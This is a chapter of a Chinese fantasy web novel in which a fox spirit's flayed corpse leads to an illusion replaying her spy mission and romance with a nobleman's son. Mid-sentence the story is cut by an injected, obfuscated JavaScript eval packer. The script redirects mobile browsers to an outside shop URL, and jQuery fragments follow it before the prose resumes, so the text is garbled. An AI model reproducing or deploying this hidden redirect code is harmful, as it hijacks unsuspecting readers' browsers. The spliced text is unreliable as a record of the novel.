文趣网 > 其他小说 > 死遁后前夫竟成我师尊 > 8. 幻境
    “刺啦——”是布料撕裂的清脆声响。

    一道黑影在余光里飞掠而过,紧接着是身体撞击地面的沉闷声响。

    “死人了!”不知是谁喊了一声,人群顿时炸开了锅。

    地上的尸首忽然抽搐了两下,随后幻化成狐狸的模样没了动静。

    “是妖怪,醉仙楼有妖怪!”台下宾客立马骚动起来,纷纷起身逃窜。

    “芸儿,这是怎么回事?”

    “不知道……我这就去查。”

    盯着芸儿离去的背影,她的太阳穴又开始隐隐作痛。

    “才一顿饭的工夫,你就把狐狸精收拾妥帖了。”身旁的醋坛子登时炸锅。

    假装没听懂,她避重就轻:“这妖王我也不是白当的,总不能让你一个人辛辛苦苦算命。”

    少顷,芸儿红着眼眶跑了回来:“死的是白雩姐,她浑身的皮……都被人剥去了……”

    “你们的人是不是暴露了。凶手大庭广众之下抛尸,故意制造恐慌,看起来知晓白雩的身份。”

    好不容易找到的情报机构,结果闹这么一出。

    “她近来可是与裴氏长公子交好?”一旁的梅墨烛突然出声。

    “是,裴公子很欣赏白雩姐的乐舞,是醉仙楼的常客,出手十分阔绰。”

    “你怀疑裴公子的失踪与白雩有关?”

    “裴夫人说,裴公子近日总是魂不守舍,旁人叫他好久才有反应,还总念叨着一个女人的名字,像是被狐狸精勾了魂。”

    “不会的!我们只是想在西京求一块立足之地,从来没有害过人!”

    “口说无凭,要是裴公子安然无恙,她的嫌疑自然能洗清。”

    说者无意,听者有心。这话白堂雪听来莫名刺耳。

    迎上那人怀疑的目光,她不卑不亢:“人族总说死者为大,既然白雩已死,我们是不是该先找到杀害她的凶手。”

    “她是死了,但裴公子现在生死未卜,若是能先找到他,白雩的死因或许会水落石出。”

    听他话里话外的意思,摆明是不想查白雩的死因。

    “罢了,你是捉妖师,那就捉你的妖去吧。芸儿,带他去白雩的房间。”

    送走梅墨烛后,她独自一人来到了白雩的尸首旁。

    整张皮都被完整剥去,说明凶手的手段极其残忍。可白雩是狐妖,凡人根本伤不到她。若是其他妖族下的手,可能会有剥皮的癖好,但并不会精心设计抛尸过程。

    凶手是懂法术的人类,那最有可能的不就是……捉妖师?

    想到这,她的心情愈发低沉。

    忽然,一缕极其细微的黑气从狐首处蹿出,径直朝上方飞去。

    又是怨气。她不敢耽搁,忙追了上去。

    怨气在一扇门前彻底消散,她信手推开,恰巧与那人四目相对。

    是白雩的房间。

    “可查到什么线索?”

    “线索就是……我怀疑是捉妖师干的。”她抱胸倚在门口,死活不愿意进去:“你呢?”

    “此处怨气极盛,但我却找不到源头。”

    屋内陈设简单,与寻常小姐的闺阁布置无异。整个卧房最抢眼的,要数那方黑漆描金妆奁盒。花纹繁复,雕工细腻,与周遭景致格格不入。

    “这妆奁……看起来像是裴公子送她的。”她打开匣子四处摸索,试图寻找其中关窍。

    镜面如水,映照出的,却并非她的脸。

    “这妆奁我看过,没什么特别——”

    话音未落,周遭唯余他一人。

    ·

    幻境中,寒月高悬于顶,酿成清冷的酒液倾泻而下。台上丝竹不断,舞绸翩跹;台下觥筹交错,行酒猜拳,好不热闹。

    白雩抱着古琴端坐于台上,视线却在台下不停逡巡着。不经意间撞入一双深邃眼瞳,宛若春风拂柳,渐渐驱散满身寒意。

    是裴氏长公子,她今日的目标。当今圣上面前的红人,好音律,时常出没醉仙楼。

    若能得他青眼,未来渗透人族举重若轻。于是她主动接下族里的任务,来醉仙楼当了歌姬。今日的登台首秀,是她特地为他安排的。

    琴弦促急,时而泠泠如泉水,时而铮铮如铁马,满座宾客皆如痴如醉,沉溺于她编织的幻梦中。

    狐族可将魅术融入弦音,今晚一过,她便是醉仙楼的新任花魁。

    一曲终了,赢得全场好彩。缠头堆了满地,十个小童手拿箩筐,一刻不停地收拾,才没让她淹没在红绡堆里。

    “今夜赏缠头最多者,可为白雩姑娘的入幕之宾。”

    众人闻言,纷纷慷慨解囊,更有甚者直接拿出了地契,倾家荡产也要搏得与她共度春宵的先机。

    “王公子出里仁坊三座别院,还有更高的价吗?”

    忽然,一块丹书铁券不偏不倚地飞到她脚边,掷地有声。

    满座衣冠先是鸦雀无声,随后顷刻炸开了锅。

    “裴公子大手笔,为了新任头牌下血本了。”

    “抢不过你,回去小心家法啊!”

    起哄声四起,吵得白雩眼皮突突直跳。

    精心包装的完美商品,只有权倾朝野的裴氏才配拥有。

    她等的就是这一刻,可真到此时,还是不免恶心反胃。

    “裴公子,今晚奴家就是你的人了。”她故作娇羞,挽起那人的手臂就往自己房中带。

    人在床笫之间,最容易放松警惕,而狐族的幻术,可以让他们口吐真言。只要成功把他骗上床,她这次的任务就能圆满完成。

    甫一关上门,她便迫不及待地宽衣解带。

    他的手掌覆了上来,不大的力道刚好能够制止她的动作:“在下十分欣赏姑娘的琴曲,不愿明珠蒙尘,这才出手相助。姑娘不必如此。”

    若她只是个普通的倡优,会觉得这是个值得托付终生的好男人。但一个利用人性弱点谋生的密探,最怕碰到真的正人君子,这意味着不能直接从他们嘴里挖消息,得先取得他们的信任。兵贵神速,这样的目标太耽搁她的时间。

    脸上并无被拒绝的羞赧之色,她又将衣服往下褪了几分:“裴公子,那可是丹书铁券,你只是因为欣赏我的琴曲,就肯将天赐拿出来,我不以身相许,良心不安啊。”

    男人欲拒还迎,标榜自己是清流的手段罢了,她想。

    “姑娘的琴技炉火纯青,《破阵乐》、《卜

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17699697|208100||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    算子》、《凤求凰》……曲曲致臻化境,在下佩服。丹书铁券是因为出门时走得匆忙,身上实在没有其他物件能与在场诸位竞争,这才出此下策。”

    那人忙行礼作揖,低头偏开视线。

    看来今天不能从他嘴里撬出东西了。

    悻悻地穿好衣服,她脸色一沉:“既然裴公子没那个意思,那进我闺房作甚?”

    “是在下失礼,这就告退。”

    “站住!”见那人是真的想走,她忙拍桌制止。

    不对,明明他才是客人,为何自己却拿出了主人的架势?

    “裴公子可还有其他事,可尽情吩咐奴家去做。”语气顿时软了下来,她施施然行礼。

    “姑娘若是愿意,可否再多弹几首琴曲?”

    “这有何难。”

    雨声潺潺,琴音袅袅,情思于此间生根发芽,在春雨的濯洗下长出新的枝桠。

    此后登台,角落里的青衣公子总能一眼抓住她的视线,像是从画里走出来的翩翩仙家,与周遭喧嚣格格不入。她就这样和他厮混了半个月,直到族长来提点,方才想起自己此行的目的。

    “你是狐族少主,别忘了自己的身份。倡优的面具戴久了,还真等着他来救风尘呢。”

    “对不起,族长,我会尽快动手。”

    白雩故技重施,果不其然,他出手了。

    “阿雩若是缺钱,尽管向我开口,何苦再行花招博人眼球。”

    这话太高高在上,倒显得是她在无理取闹。

    “裴公子,卖什么怎么卖我说了算,你三番五次插手,又不做该做的事,是在羞辱我吗?”

    必须逼他一把,这是她最后的机会了。

    “没有,我只是见不得你作践自己。”

    “是你一直在作践我!你要是真的喜欢我,为什么不愿意碰我。”话本子里看来的台词,她学得有模有样。

    几滴清泪从她眼眶滑落,配上一副楚楚动人的表情,算得上我见犹怜。

    “没有夫妻之名,怎可行夫妻之实。”

    “有了夫妻之实再想夫妻之名也不晚。”管不了那么多条条框框,她径直将人压在身下。

    春雨酥骨,朱红轻落,案几上的葡萄不经意间被打翻,坠下颗颗饱满的果实。

    很长一段时间,白雩都没有再见过他。

    看着空空如也的角落,她不禁想,莫非是上次太过分惹恼了他?

    不过没关系,这些都不重要。她已经从那人口中得到了想要的信息,他于她,已经没有价值了。

    神游天外之际,那道青色身影又蓦地闯进她的视线:“阿雩,我想娶你。”

    疑心自己听错了,她半开玩笑:“我只当正妻不当小妾。”

    “是正妻,我想娶你做正妻。”像是怕她误会,他忙解释。

    人的眼睛不会撒谎,他是认真的。

    白雩脸上的笑容霎时凝固了,心口一阵泛酸。

    “裴公子,是我没睡醒还是你在做梦。娶倡优做正妻?你不怕被赶出家门吗?”

    “我不怕,我在乎的是你的人,不是你的身份。”

    “可我在乎的是你的身份,不是你的人。”